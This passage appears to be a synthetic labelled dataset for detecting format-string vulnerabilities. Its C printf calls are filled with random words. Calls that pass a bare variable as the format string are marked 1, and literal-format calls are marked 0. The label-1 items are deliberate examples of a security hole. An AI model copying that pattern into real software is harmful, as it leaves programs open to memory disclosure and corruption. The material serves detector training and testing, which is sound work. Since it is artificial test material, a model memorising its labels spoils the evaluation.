breadbasket sclater mandation decollete"); 0 +printf("impervial reimbark centrality pseudoproboscis heteronereid dorty"); 0 +printf(shotted); 1 +printf("sulphurless energesis headsill"); 0 +printf("beryllosis fellowless cometographer immortalization roomthiness classical"); 0 +printf("upbeat hypozoan"); 0 +printf("clitterclatter markdown planking remimic epicarid"); 0 +printf("foster fivepence stroma cachemia champ serratodenticulate"); 0 +printf("ozena halcyonic"); 0 +printf("contentiously uvarovite %s trichoid competition tunu akia faineancy similitive", turgidly); 0 +printf("wird noncareer dereistic neurocoelian bigotedly %d %s ravening", harlequinize, tierlike); 0 +printf("dilamination independence Celeomorphae tropophytic %s %d", tarboggin, radiocarpal); 0 +printf("sneb %d Oscarella %s hematose ohmage", mastiche, tautometrical); 0 +printf("%s umbrellalike revulsionary %s %s %d archipelago", larsenite, cocoa, antheridiophore, unmarry); 0 +printf("decimation trophosome plurivory glycerizine heartburn"); 0 +printf("clamworm quininism %d uranothorite", leadproof); 0 +printf("Dione"); 0 +printf("dysmorphism Olethreutidae upspew refective slick carmele"); 0 +printf("propaedeutics subdelegation misrepresent %d everlastingness", coalyard); 0 +printf("Unalaska Cheltenham ware"); 0 +printf("Waicurian Flora solentine spreaghery quaky pist"); 0 +printf("macrodontism unmusted cymagraph evelight tusche mesophytism"); 0 +printf("hypocritical attached vet tops %s myasthenic retinite cabinetwork knapsacking", unslumberous); 0 +printf("rantan microsplanchnic substylar"); 0 +printf("nagor cardines"); 0 +printf("latitudinarian dissonancy accouplement pandemonic cousinry unproportionate hexosemonophosphoric"); 0 +printf("thanatophidian isocamphor %d nosogeny %d artery bitterless sacroischiadic monkeyishness", macaw, prating); 0 +printf("Menkar Phragmidium unusual perimetrically %d feminacy", theromorphic); 0 +printf("Thamyras %d obcordiform cadetship catsup", discourtesy); 0 +printf("vagas chivalric cupless touristproof Drupaceae beallach tagilite"); 0 +printf("chronograph"); 0 +printf("reduplicative kakariki Caraho Torgot tiresomeweed unbefittingly"); 0 +printf("uncarbureted allodelphite Angka haliographer"); 0 +printf("%s tryp imitable %s mealable %s", Xenophonic, benzofluorene, monophthongization); 0 +printf("phytoserology fangy Delobranchiata Terebinthus lyingly horizon granage droiturel nogheaded"); 0 +printf("perfilograph simpleheartedly counterproposition Lycopus perplication bilinite"); 0 +printf(millennia, cinderman, onyx); 1 +printf("Teutophil"); 0 +printf("succumbence"); 0 +printf("%d clancular stepladder", tenebrionid); 0 +printf("torchlight promnesia nephelometry undaunted thyroepiglottic cosmolatry contemptuously Xanthomelanoi"); 0 +printf("disclaim cellated %s interpave anthotaxy idiotize saltary coendure", parrotize); 0 +printf("snappiness overdazed ensilage templize recurvirostral Coelogyne"); 0 +printf("undelegated conjugation %s woolsack", genion); 0 +printf("protohuman hagborn vergership Hiroyuki osseously shagged epicardia doubt cohibition"); 0 +printf("grumpiness algaesthesis choreomania interpunctuation nagnag semiradial"); 0 +printf("heptacolic saw %s %s", sarcoptic, unerupted); 0 +printf("Philippic ruana circumaxillary lycanthropize syngraph technographer"); 0 +printf("%s novelist %d undelightsome picturesquish ungeneraled Microhymenoptera compresence", Doliolidae, ladyfinger); 0 +printf("carboxylate brainwork gnaw %s", mediofrontal); 0 +printf("desideration macrocarpous subagency clinically queerness charlatanry secpar"); 0 +printf("Cracca Ivan"); 0 +printf("cruster %s atrepsy Talpidae Oenotrian Olonets convexity %s vesicoclysis", cuproplumbite, milliammeter); 0 +printf("Rhodoraceae %d", Dinoflagellata); 0 +printf("lateromarginal sivathere praecordium Phascolarctos boilermaker"); 0 +printf(diffidation, overconsciousness, Curcuma); 1 +printf("small cannot reascend cerebrorachidian ectogenic thigging"); 0 +printf("Buginese acana vaginomycosis ragtimer Scleroderma algalia Arianize feckly rimu"); 0 +printf("sparkling unsceptered equanimity Musalmani heteroblasty nitroglycerin myall"); 0 +printf("bicarbonate cryptoclastic encephala dilettante"); 0 +printf("undrooping %d stowwood", criticisable); 0 +printf("harassingly"); 0 +printf("%s atap unpremeditately", cholanic); 0 +printf("modernizer undersaturation ideogenetic gloryingly Pindaric fleetingness"); 0 +printf(makeweight); 1 +printf("etherization paradichlorobenzene unmorose olenellidian cytopharynx"); 0 +printf("infantado unprinceliness lingtowman skipbrain shriving"); 0 +printf("nondense"); 0 +printf("pleurodynic Wordsworthian dolichopodous"); 0 +printf("batterman cubmaster Bashkir stilbene"); 0 +printf("tarrish deuterofibrinose kou"); 0 +printf("quail coaid songlessness horseshoer intersect eulogically commutation Ulotriches"); 0 +printf("nature patheticness goliardery noggin distribution fraternism Snow syntactic unbeatableness"); 0 +printf("transversovertical confirmatively"); 0 +printf("disownable amorosity buckwasher antipestilential unprobity postsyphilitic genet"); 0 +printf("tightfisted brogueneer moyenless galziekte rhinoplastic intwist neogenetic bakingly"); 0 +printf("Piankashaw"); 0 +printf("Kamass"); 0 +printf("unrecanted preharmonious polycrotism slunge plessimeter tartrous inconsiderateness improvership"); 0 +printf("%s insistence rootfast bepatched", untalked); 0 +printf(thrummy); 1 +printf("basipodite %d chrysography monophthalmus bungalow jobmistress volumeter multipinnate uncravatted", frithbot); 0 +printf("%d perotic transchannel Meliola insulant hydrochlorate", kelter); 0 +printf("uninterruptedly antiloimic %s Lawsonia eliminative torquated exagitate Yasht", quintus); 0 +printf("thermomagnetic doddy spavined undid thigmotropically esophagoscopy cushewbird chargeless"); 0 +printf("Irishian"); 0 +printf("glabellae unlensed emissary unpublicity %s Brythonic antizymotic", adamantoblast); 0 +printf("arenariae dignity"); 0 +printf("%s %d Polysaccum moblike benzofuroquinoxaline prochurchian %d instipulate", ovology, architraved, culmy); 0 +printf("boody malingerer table temporomalar %d Oxytricha prestudiousness aye", vachette); 0 +printf("coadequate squirr monophthalmus raiseman undeserve goosecap"); 0 +printf("untowardliness"); 0 +printf("Romanization clockkeeper %d unenvenomed disadventurous vindicableness periosteomyelitis stenton transphenomenal", Tartarized); 0 +printf("discriminateness weki laurel peritomize subelection Margaropus sinuauricular syce actuarial"); 0 +printf("strychninic toxicodermatosis entrappingly"); 0 +printf("Pitcairnia monopathic %s isoscele dodgy", discus); 0 +printf("rodomontador"); 0 +printf(zoologer, praediality); 1 +printf("bowstave %s", uncia); 0 +printf("Thevetia %s preweigh", glucosazone); 0 +printf("%d blepharism tweeze cankerbird prodissolution", modernish); 0 +printf("unshipment mesioocclusal Laurentide acroama Saccomys dealbuminize Azorian locellus"); 0 +printf("Aleochara Dictyonema rhinophyma"); 0 +printf("leucochroic bacteriopathology %s preconstruct %d leviathan", sixtypenny, polka); 0 +printf("%d accrementition", unheritable); 0 +printf("zenick hydrochlorate adnex cuculliform kominuter unprotestantize gale"); 0 +printf("Malkite chromatopsia"); 0 +printf("diphthongally withwind furphy Herodian %s fortuity", synclinorian); 0 +printf(thaumaturgics, ranksman); 1 +printf("inflector goosishness"); 0 +printf("Macrobiotus thawn septendecimal extemporaneousness homelyn psychogeny metagram"); 0 +printf("cockshut precognitive vaunted %d protocerebral votress fetterless %d decerebration", unsheathed, fattrels); 0 +printf("toothcomb Madreporaria orchilytic Trachymedusae"); 0 +printf(percoid); 1 +printf("cereal %s deodara piezochemical lawyeress unfeasted intexture windowshut", subdivide); 0 +printf("incriminate nontourist indefinableness Syriacist pinjra vesiculotomy Principes tinosa"); 0 +printf("philotheistic Moravian"); 0 +printf(Midianite, almacigo, sciaenoid); 1 +printf("recalibration virescent"); 0 +printf("unreprehended potboil alcoholmeter parapeted %d Ascochyta Shabbath unethical linguidental", excruciate); 0 +printf("faltboat maxilliped"); 0 +printf("ribby solaceproof overcarry"); 0 +printf("imino medimno myxaemia multispired unitrope"); 0 +printf("titmal"); 0 +printf("faithfulness foreboard digestant art Drokpa vacuolary unbarricade revivor railwaydom"); 0 +printf("Israelitish deathworm viny piteousness snifter lauraldehyde unwelded foliobranchiate tradite"); 0 +printf("tora admonitrix ovarium brett"); 0 +printf("shorts poleaxe Lesbianism paraformaldehyde"); 0 +printf("vaginotome unpuzzle astronomer boloroot"); 0 +printf("monosulphone Latinization Dora hepatectomy exsect"); 0 +printf("frampler Crypteronia"); 0 +printf("nonremuneration posthypophysis moundy Spaniardization %d gallinule transcendentally", moribundity); 0 +printf("unfeline preterition askingly vermilinguial"); 0 +printf("etymologic agonied %d besprinkle polk supergenerosity Dehwar", technographic); 0 +printf("kindergartner %d gametophytic biometric potting graphology ziphioid poikiloblastic Kornephorus", rageless); 0 +printf("%s tobine admonitive descriptiveness Calocarpum vitalic unconcernedly", undersoul); 0 +printf("nonextended overattachment unconducive %s %s", bidenticulate, hulu); 0 +printf("%d Rumelian preburn fishweir bum %d browsick Prater sternpost", clerid, Sitta); 0 +printf("%d labiodental", unmollifying); 0 +printf("presager %d %s %d achromatopsia thirteenth unflagged", allochlorophyll, wardress, indelibly); 0 +printf("plague %d sprightfulness", ratepaying); 0 +printf("nonmanual unjewel maleness subsaturated"); 0 +printf("trigraphic cardiodysesthesia jacobus notariate %s rhabdom %s %d %s", inequity, bedplate, activin, unrepose); 0 +printf("%d aloofly sundryman effluent cacostomia postlaryngeal autolysate tailband avogadrite", atonalistic); 0 +printf(caudodorsal, alchera, avital); 1 +printf(santonica); 1 +printf("phyllophagous motherling %d unexcommunicated %s", undershorten, homiletic); 0 +printf(methylglycocoll, chypre, overclothe); 1 +printf("insight"); 0 +printf("hydroferrocyanic timocratic"); 0 +printf("traditious"); 0 +printf("impenetrably abruptness vanillery ungentile thoracoceloschisis pronominally gourmanderie"); 0 +printf("muttonhood nondecatoic semipublic tripalmitin glossocele fuchsine bequeathable"); 0 +printf("beflag phascaceous set unsanguineous %d", profit); 0 +printf("unsigned catharping sympathomimetic nitriary %d lacewoman tabler orientative", legatine); 0 +printf("jarkman disfame"); 0 +printf("Echeneididae scallom crutching disservice embracingly"); 0 +printf("coprostasis forebay shawllike"); 0 +printf("dumaist donship twal euxanthone excretion zincification"); 0 +printf("hopeite prologuize comprise their indiscernibility"); 0 +printf("trident decemdentate underenter unobstructive"); 0 +printf("%s", retinochorioidal); 0 +printf("debit %d", applauder); 0 +printf("tartana %d wafty Thuidium Oxyaena fooder vestuary", unconstituted); 0 +printf("monodactyl bemonster z petrosal inflex ferryboat"); 0 +printf("courbash"); 0 +printf("immediateness"); 0 +printf("maximite fatality underzeal stuffy quarl prochemical reins oinomel Kongolese"); 0 +printf("nondominant spiralize ecstrophy lyophilization Apostolic spermological circle prefectoral hydroadipsia"); 0 +printf("radiocaster nephrism imidic"); 0 +printf("side"); 0 +printf("parthenogenous Levis Aquila melassigenic brotulid %s", klops); 0 +printf("bird Litorina caucus %d forcer %s chaseable unknighted", praeludium, hagiolatry); 0 +printf("workingwoman omnivalence Wolffianism ageustia %d hopvine extragastric evelong excursional", stepladder); 0 +printf("%s literate", nonagent); 0 +printf("skivvies aggrievedness cankerbird pickle %d subjacency nondecadent", sturdily); 0 +printf("unterraced"); 0 +printf("wringstaff maldirection %s", paucinervate); 0 +printf("mantlet %s Erse kickback %d forefin liberticide ultracentenarianism", Tridacnidae, poco); 0 +printf("Cotinus %d percursory noncongestion foreassurance prostatitic supplementary", unpumicated); 0 +printf("%d shininess %s Uri diazotate semifuddle %d", Merovingian, pleonasm, Gallicism); 0 +printf("galiot occidental suprafoliaceous laze %d libraryless", cank); 0 +printf("Colinus Wagnerianism pilfering shiveringly unconcealingly %d Phanerocarpae lepidoid", condensery); 0 +printf("photogene daringness astrictive contortedness nevoid pseudoanthorine"); 0 +printf("gumweed advancer intelligenced inflictable incog peract sanglant understrew"); 0 +printf(belady); 1 +printf(vespoid, moorball, eleven); 1 +printf("inappeasable bradylogia osteopathist"); 0 +printf("unprecedented"); 0 +printf(featurely, spoutlike); 1 +printf("nonconformistical %s vermis", unphosphatized); 0 +printf("cure %d agrobiologically", mimmoud); 0 +printf("wastefully monilioid taborer Wisconsinite Darsonval clype unobligatory shrinkingly panpsychist"); 0 +printf("vorticular %s distantness unenlisted momo", Jussiaea); 0 +printf("crossopodia shadelessness proportionally precentrix %s sesquiquartile obscurantist rapper Campyloneuron", dragonhood); 0 +printf("obvallate palpicorn cyprinid jointweed"); 0 +printf("%s benzbitriazole dissolutionism", nifling); 0 +printf("revivingly Mograbi caissoned"); 0 +printf("beala unmunificent Gallian"); 0 +printf("Ahom nonassurance rhipipterous Danielic hemaspectroscope foliobranchiate nonretiring"); 0 +printf("stumpnose Priapic pregalvanize dipartite benzolate"); 0 +printf("overstimulation nontreated bootlegger %d tweet myatony", musculomembranous); 0 +printf("halo slackly depone suicidalism"); 0 +printf("jarkman cephalopharyngeal Jehovism"); 0 +printf("hyperpencil greenovite planidorsate isopachous gentility taciturnity fumage Ectocarpaceae"); 0 +printf("adrenin famble vergentness choiler knowledge petromyzontoid"); 0 +printf("sedately turreted furrowy %d Heterosiphonales residuation adoptive tellurian agglutinator", optography); 0 +printf("sacbrood erikite bilaminated %s earplug", racialism); 0 +printf("council spawneater Scyld"); 0 +printf("Correa pathometabolism moise rhinopharynx pellucent sufferer tapacolo"); 0 +printf("withheld %s satrapy unbodiliness amusingness underchancellor", battered); 0 +printf("similitude euangiotic drinn %s dithery clutterer", superexcellently); 0 +printf("presymptom tunnelly denial"); 0 +printf("trainband ravishingly dotty %d buttermouth", resectional); 0 +printf("windrow calmierer goad trophy mosslike"); 0 +printf("muscle spraint cradlemaking grainless"); 0 +printf("inherence sandnecker nonobligatory drivepipe helcology spotter"); 0 +printf("crackhemp %d rower algophobia yelk whilie quartodecimanism adread", knopweed); 0 +printf("rainworm Andy dictyostelic superimprobable chhatri site %d anarchically luxuriate", sulkylike); 0 +printf("terceron Canterbury"); 0 +printf("rejudge platurous Hydrodromica elseways"); 0 +printf("reobligate"); 0 +printf(rhotacize, repasture); 1 +printf("importability Kevyn kingbolt %d charkha stomachlessness plainly", pistolwise); 0 +printf("nontarnishing"); 0 +printf("napery"); 0 +printf("triticum"); 0 +printf("chilognath thereanent untruant"); 0 +printf("taled"); 0 +printf("germinant outsert unbridgeable"); 0 +printf("ghostland"); 0 +printf("Foochowese"); 0 +printf("unrecreating"); 0 +printf(Forcipulata, didymia); 1 +printf("autolaryngoscope %d lacertose telemanometer", foxbane); 0 +printf("%d gregarian bullation ptomain %s %d porencephalic Cainite pentacetate", deadwort, cosmocrat, unfactious); 0 +printf(agitatorial); 1 +printf("%s uterometer oread", presentient); 0 +printf("%d antacrid dextraural %s", unpaintableness, artistdom); 0 +printf("decapitate"); 0 +printf("rebec %d dynamitical jakes underzealot sew jervina tellurist flavanilin", binauricular); 0 +printf("Clarence precompress coaxer archicytula pharmacosiderite commutatively %s Kentucky coleopterology", interveniency); 0 +printf("nonvirulent zymological tyrannicide retread habronemiasis antiwaste plasmatorrhexis untooled isoserine"); 0 +printf(lymphopenial, Amblydactyla); 1 +printf("birefraction jugated zooidal %d", retexture); 0 +printf("Anamirta"); 0 +printf("explainingly quietude wrongdoing proarctic upflare"); 0 +printf(dazzlement, pikelet); 1 +printf(nonhereditarily, westness, unsynonymous); 1 +printf("Scorpioidea"); 0 +printf("sulphurweed supposal %s vetch spatially roadstone airward Microdrili", scintillize); 0 +printf("cosinage unmanneredly rugosa preindisposition %d umlaut", Hyrachyus); 0 +printf("pamphletize %s incite unsupportedly puboprostatic reattest", reconcilee); 0 +printf("chital bedown overinflation Sipunculida %d nonpaid Naim nuncio enteromere", modulant); 0 +printf("syphilology absence %s wherrit plesiomorphism slobbery toolmaking sarkinite petticoaterie", similiter); 0 +printf(dyspeptical); 1 +printf("topcoating Rhinobatus mousey vacouf numberable papulous"); 0 +printf(gangliocyte); 1 +printf("%s cardiotoxic cerealose discomfiture thickener oligoplasmia sarcologic Durandarte", kataplexy); 0 +printf("roomthily Winnie"); 0 +printf("Cassididae %s %s leal Munychian emetology onchocercosis", eucyclic, peptization); 0 +printf("monkbird %s joulemeter nominalism meromyarian", sparsile); 0 +printf("%d Memnonium", endotrachelitis); 0 +printf("unoppugned barbariousness %d limen Floyd", moiety); 0 +printf("%d muscular koromiko uranium graptolite", unadulteratedness); 0 +printf("carotidal cryptobranchiate rootcap depressible coaxingly cocksureism agenda"); 0 +printf("scoop %d", insectarium); 0 +printf("palisading reamy %d deserver soapsud Kathopanishad pontiff", chokeweed); 0 +printf("flagrance shellburst akindle vapulary"); 0 +printf("pyogenesis recurl unadjustably mooneye %s nonimprovement throuch", methylosis); 0 +printf("ischium Ganodus %d Mahdist superstrain %s urbanist", commorant, unbuffeted); 0 +printf(Algomian, Baphia); 1 +printf("Baltic Sonchus inexactness ossements fiddlestick erythristic skandhas encephalomeningocele"); 0 +printf("unwarrantedly pseudoconhydrine"); 0 +printf(Archencephala); 1 +printf("subcaecal lanthanide Lechriodonta kiku breadmaker lecyth sheld"); 0 +printf("%s bistriate", pseudomucin); 0 +printf("hemogastric martyrologium infraradular Keres presylvian sylvester musquashroot"); 0 +printf("cleric"); 0 +printf("orpharion defectively eegrass Ribbonism suboptimum spheral crimination %d", interinhibitive); 0 +printf("%d", borghalpenny); 0 +printf(tonguelike, chooser); 1 +printf("%d %s rightwardly", puerilism, characterlessness); 0 +printf("platilla levulin unapprehending stickly gairfish loosestrife"); 0 +printf("brachiocubital dormer rupia boyardom dryworker multangularness"); 0 +printf("clipt Randell matriarchal spermatiogenous"); 0 +printf("tripartition iconostasis joola restorationer henchman levelness plasmodiocarpous %d", unthoughtful); 0 +printf("%d postrectal supercomplex uncurable", substitution); 0 +printf("coinclude phthiriasis Adoxa seemliness subpiston Pianokoto unbegottenly"); 0 +printf("Anomalon lyreman Loammi superacid poemlet"); 0 +printf(infinitively, wainer); 1 +printf("muzziness %d prayingly Dylan", lamellated); 0 +printf(benzoated, bake); 1 +printf("scapulocoracoid pedicellate sateenwood uncomfy %d", mootworthy); 0 +printf("%s scind dyschroa", Pertusaria); 0 +printf("introsentient genethliac uncholeric waterwort overconservatism phocine splanchnotomy"); 0 +printf("epistolical"); 0 +printf("%s celtuce azodisulphonic", phlebographical); 0 +printf("semihot chatelain gudefather iodometric dibromoacetaldehyde"); 0 +printf("orthodoxism forwardly desklike metrorrhagia ornithocoprolite insolence extensiveness unremovable"); 0 +printf("furfuryl %s tendance sickeningly recoagulation unreadability subcaste", intromittent); 0 +printf("Upupidae pavonated Pistacia anthracosis pedately"); 0 +printf("%d diacodion %d", embeggar, unstriated); 0 +printf("Gentiana ecanda propylitic"); 0 +printf("clemently hemicircle Australic infame gnome intermetameric astrut"); 0 +printf("piragua lanyard subungulate arteriogenesis"); 0 +printf("pseudodeltidium resalutation inapparent retardatory rehair Athabasca Stagger unforceable"); 0 +printf("unheeding subdrainage Limawood conterminously intimidatory agaricic ponderable graze"); 0 +printf("antiendowment unmortal perquisitor spiritualness"); 0 +printf(bonesetting, hemotoxin); 1 +printf("%d", Oraon); 0 +printf(electromedical, handcuff, consubstantiation); 1 +printf("crosscurrent Homoeomeri"); 0 +printf("planariform ekacaesium deepmouthed"); 0 +printf("untriced lasty recessively monoparental %d %s", beatinest, Marianolatrist); 0 +printf("Bobadilian archegoniophore edgeweed memorist procuration heirless protocatechuic"); 0 +printf("extraregarding %s l preconfusedly", anabolism); 0 +printf("Dodonean"); 0 +printf("birdeen pseudacusis deathlessness"); 0 +printf("shotbush crystallizable cleavingly hyperterrestrial envassal unapprisedness anaxon devotedness autohemorrhage"); 0 +printf("unexisting therewithal"); 0 +printf("druggist edgeways oxbiter kobold overtimorousness roarer concourse"); 0 +printf("%s unexpoundable discanonization expansionism %s", uncorruptly, undividedly); 0 +printf("hemicephalous famishment improvisor regnancy"); 0 +printf("intuitionist gritless salicylous azorite homodynamic mofussilite charer depletion"); 0 +printf("Anthropodus stealth ironsided plass moyenless"); 0 +printf("occipitobasilar cuffin"); 0 +printf("prudentialist drearness Scottie zad preorally nobble quinamidine atomist"); 0 +printf(Antiochene, killcu, resinify); 1 +printf("assis trancedly taphole pleasurist"); 0 +printf("%s scrapper %s", copycat, fritterer); 0 +printf(senate, Merton, chromatopathic); 1 +printf("needleworked"); 0 +printf("blackguardry nonemigration sextar disnosed expressionism"); 0 +printf("barelegged Vaudois overlinked"); 0 +printf("interimperial Hoya semistock unmultiply intertriglyph chichipe swirring tauromachy breislakite"); 0 +printf("Actinomyxidia hackingly"); 0 +printf("taurocephalous loquat"); 0 +printf("quinoyl %d", canaliferous); 0 +printf("compunction %d nonadmiring replaster undercanvass rushbush", ciderist); 0 +printf("osteanabrosis bebeast pollinoid hoast wistlessness"); 0 +printf(noninsurance, remonetize); 1 +printf("overnumerousness immigration"); 0 +printf(seroreaction); 1 +printf("Sabbathaic %s %d leopardwood imager butterbird teaseller retrample", sensibilitist, accordancy); 0 +printf("ungroupable appredicate Cutiterebra %s gemsbuck %d urostylar", tideless, benzonitrol); 0 +printf("contraparallelogram intendantism Oneida inominous glorying policedom"); 0 +printf("plowland aproctia armpiece paleobiogeography ineffervescent durenol aminize springbuck ultravirtuous"); 0 +printf("shortclothes anis %s %d", columniation, glycerophosphate); 0 +printf("dalesman Bundu endable bigwiggism phasogeneous vocification"); 0 +printf(symmachy, Ochrana); 1 +printf("presupport malacologist %s nonabolition cicindelidae foretaste wishly", fidate); 0 +printf("fleetingness catalepsy deferentectomy"); 0 +printf(weedy, redemptionless); 1 +printf("princeless subjunior endoceratite ouananiche hornbook treadwheel ramgunshoch %s", spoliator); 0 +printf("superinjustice multispiral asquare narcotinic lacertilian phagocytable clomben"); 0 +printf("limbeck suprasquamosal befrounce anamorphosis perborate poikilotherm %s outban", turflike); 0 +printf("robotize"); 0 +printf("cholesteric leisureliness interimistic idiomatic %s", lightheadedness); 0 +printf("Alpian justice pointedness pappox anthropomorphism"); 0 +printf(ureometer, accessional); 1 +printf("isocyanogen ratepaying drainless unmentioned colleterial"); 0 +printf("exudate callus portmantologism"); 0 +printf(battlewise, scalloping); 1 +printf("irrotationally microlux throughcome predecession blastophore %s marron %d", unintermingled, armature); 0 +printf("swanweed aldern exhumatory biotin"); 0 +printf("advertising Puyallup dermobranchiate %s pseudoclassical ballast pugilistic pincher disulfonic", hocket); 0 +printf("koftgari %s Cladoniaceae %d stibblerig violmaker nongentile", Pyralididae, zincing); 0 +printf("coupled jailbird delegation allopathetically granolite demisability"); 0 +printf("feloid unrepetitive %d", anarthric); 0 +printf("Manatus prevegetation lionproof quotative unginned"); 0 +printf("chint hyperbolaeon colonialize"); 0 +printf("grapestalk neocracy irremovableness cloisonne tyrosinase"); 0 +printf("%s paranematic cotyla reproducibility unimpinging zoomorphize %s conservancy", suckage, somehow); 0 +printf("limping loudmouthed electrosynthetically %d labelloid brontide predelegate", deteriorator); 0 +printf("hipless stadic placentigerous dagaba %s", southwester); 0 +printf(gregarian); 1 +printf(loverly, Andromache); 1 +printf("notchful fretfulness meeterly monocot"); 0 +printf("haggish homotatic compensator fuel gerontocratic"); 0 +printf("neorealism"); 0 +printf(supersensitiveness, whatten); 1 +printf("ovarin %s feudatory overbold lionship Cantabrian", Ellice); 0 +printf("hippopathology residue"); 0 +printf("Etnean rajah monkliness boterol outed"); 0 +printf("apostleship lacertilian altincar gestate boltheading Pantagruelism Yerava"); 0 +printf("breakaway stog tentaculoid %d prisal", fleabane); 0 +printf("wartflower unfestively lupoid damageable"); 0 +printf(kiddish); 1 +printf("Lutheran urethrogram shackler reticulary slander %d roentgenological %d", urf, pudgy); 0 +printf("hyperexcitable fringy convincibility Rivinian Mitch profiteer largemouthed primogenial parsoned"); 0 +printf("Althaea"); 0 +printf("fleetwing ceriops anagyrine snouter homostyled merch"); 0 +printf("%d cerated apheliotropic orichalch", deucedly); 0 +printf("semiretirement %d Elaeis", psykter); 0 +printf("stoneshot semicollar tautologizer unincludable Helion"); 0 +printf("haw ahu humorize"); 0 +printf("jerkish"); 0 +printf("narratory"); 0 +printf(katabolite, glad, katakinesis); 1 +printf("metapsychist hatchettolite Sarsechim scapholunar"); 0 +printf("insect %d wiikite Vaticanism anta Zingiberaceae Caquetio", Abigail); 0 +printf("prickant microcline superfat bezoardic koniology"); 0 +printf("tuna Solanales unenjoying ametabolia unpropagated Priapulus addle stinker"); 0 +printf("unrefinedness repredict counterpronunciamento hastefully undeserve palebuck Branchipodidae"); 0 +printf("%s interosculate isostere geocronite", coxarthropathy); 0 +printf("periodicalize gypper nonassimilation frilled %s %d unspitted afterhatch", escapee, melebiose); 0 +printf("unexorbitant tintage primogenitive impenetrate"); 0 +printf("foreflank %d Thurberia petrolene plebify keyserlick jaboticaba Susanchite", indecomposableness); 0 +printf("peakish metroptosia Nicenist adhere palpiferous uncleanlily"); 0 +printf("Hyperotreti listwork homebred"); 0 +printf("uncrossexamined mislodge scruft Veda unperturbed ceroline cleoid transported"); 0 +printf("Toltecan thelalgia uncompetitive paraterminal"); 0 +printf(estruation, himation); 1 +printf("%d cobridgehead %s Marlena polyhaemic phenicate outlung nonlegume", dermohemal, sighthole); 0 +printf(unweariably, Brotherton); 1 +printf("onychia devance methodizer totanine hybridous"); 0 +printf("perilymph %s %s semiphilologist gardenmaker pathed Rikari", paranoidal, saprocoll); 0 +printf("random nitronaphthalene %s omnibenevolent recredit loxotic", hendecagon); 0 +printf("acrostic artillerist athermancy confix"); 0 +printf("cartilagineous %d thermatologic %s primitivism Hamidian", gruff, overfrank); 0 +printf("%d frontoparietal shug", fleering); 0 +printf("lysogen diapedetic cerographic whipstalk nonexpulsion"); 0 +printf("shedman anally waiterhood spectrobolographic"); 0 +printf("petrolene casserole Polyangium"); 0 +printf("label unexpressiveness mycomycete rebankrupt stereotypy"); 0 +printf("downmost detailedly"); 0 +printf(anaglyphoscope, unlimitably, decalcomaniac); 1 +printf("pouchless"); 0 +printf(interdispensation); 1 +printf("overshrink semimajor %s suberone anthoecologist somnambulary deperdite saltweed", mangel); 0 +printf("trodden"); 0 +printf("%s %s Itoist %s %d %d", beamhouse, dyemaker, gorge, unfrequented, cackerel); 0 +printf("terrestrious periblastic grapple stript hotheartedly hydriform cathepsin iambographer"); 0 +printf("Tait synthetization ultramicron undaunting homoeomerian %d %d denyingly %d", doorstep, desmoid, geerah); 0 +printf("oscheoplasty scrobiculus macroconidial patternwise adoptee"); 0 +printf("Anomoeanism durangite %s chorioadenoma heloe", overplenty); 0 +printf("amylate %d %d advanceable warf %s prest", diary, sillyhood, idiosome); 0 +printf("glyphic slogging Merluccius %s counterfallacy Belgravian overwood", selectman); 0 +printf(cambricleaf, fooldom); 1 +printf("parricide %d grille colorist recallable antitemperance Carmelitess underproposition %d", dimethoxy, precompound); 0 +printf("microlepidopterist nonderogatory Jeffie pretendingness"); 0 +printf("conflictive Cyrillic"); 0 +printf("ordinance figurante %s possessively myelolymphocyte allochetia balbriggan Caccabis", mizmaze); 0 +printf("pettedly Kenai arthrosynovitis rationalistic metasomatism redive onomatomania hyperdemocracy aposporogony"); 0 +printf("overproneness almighty"); 0 +printf("footworn merfolk uncontrived banger"); 0 +printf("sinistrocerebral brachiopodous wiggy compote ultraservile Sleb keratogenic presider"); 0 +printf("loanword nonupholstered signifer ennui"); 0 +printf("%s suprachoroidea Anhimae lustrine purlieu %s symptom apioidal portalless", inane, isoclasite); 0 +printf("decaspermous pseudobinary Maldivian nonelection describable intercostobrachial assimilate ravish"); 0 +printf("suaveolent befreckle predisturb separate"); 0 +printf("loxic %d quadriseptate enteradenology pricking %d phalangigrade albuminousness overlade", Luxemburger, blackjack); 0 +printf(semiterrestrial, quadragesimal, ankylocheilia); 1 +printf("dequeen pallone %d %d %d %d", repetend, caliphate, ichthyologic, Xenicidae); 0 +printf("vesicoprostatic eczematous lymphocytic Amir"); 0 +printf("hypophonous unbating lagomorphic"); 0 +printf(halo, labile, coguarantor); 1 +printf("%d cark unwaning Clark bityite", aswoon); 0 +printf("triradial martyrolatry"); 0 +printf("antliate refugee exercitant wrothfully plait waterwise fifie"); 0 +printf("stretcherman gigantomachy vorticist tertiarian %d estivate telephonical obfuscation", surquidry); 0 +printf("palpebritis unfavorably thanatography kokra inessentiality"); 0 +printf("abrader dicaeology unrefunding autobahn untraveled neglect produced heterogen"); 0 +printf("%s superfervent chlorobenzene urial fanatic diligence", overfearful); 0 +printf("alala laudatorily nectarous brought malbrouck singeingly nonconcludency incoherence"); 0 +printf("embryophagous %s contender solecist siliciuretted", Geryonidae); 0 +printf("didelphid"); 0 +printf("monocystic unrecoined oogonial emasculator wiremaking"); 0 +printf("megalosyndactyly Scotia centerboard tinman %d imperviableness sageleaf halter fogyism", Stereospondyli); 0 +printf("%s olio gloriousness Cyrtoceras acleistous", thrustfulness); 0 +printf("diva durative ideogrammic leucyl %d %s", prodigiosity, sociolatry); 0 +printf("coelarium aquarian reh undomed panary Hydrodamalis coenflame irrestrainable"); 0 +printf("%d Gobioidei multifoliolate imaret gridiron ascospore camelkeeper", dallier); 0 +printf(dollishness); 1 +printf("antiricin checkage philosophunculist %s subrameal Rheiformes", spermatangium); 0 +printf("winterward Cuna %d Crucianella Dafla tenth %s plasticization pectinaceous", bewitchedness, screenlike); 0 +printf("unhashed pneumatics restorator constitutionalist unsolicitous"); 0 +printf("Eriogonum %d tetrevangelium guanamine finlike", obliger); 0 +printf("Phascum peccation interpolymer"); 0 +printf("perfumed %d caup fablemaker padre retrotransference", stercorite); 0 +printf(crazed, tracheloacromialis); 1 +printf("protochlorophyll podophthalmic pillorization intension unfurnitured o"); 0 +printf("hedonism Casearia tiza ostalgia molybdena pelviperitonitis underscoop gift"); 0 +printf(yeso, choirboy); 1 +printf("ponderableness zygantra beshade punctiliously buro conchologize etymologer"); 0 +printf("semisecondary strophiolated inconsidered stature"); 0 +printf("cosherer redly %d keelage enwrite", malting); 0 +printf(coachman, lymnaean, plasmatical); 1 +printf("arsenicism liquidogenic gaincall"); 0 +printf("%d taxinomy litigatory", obelion); 0 +printf("siris monitive"); 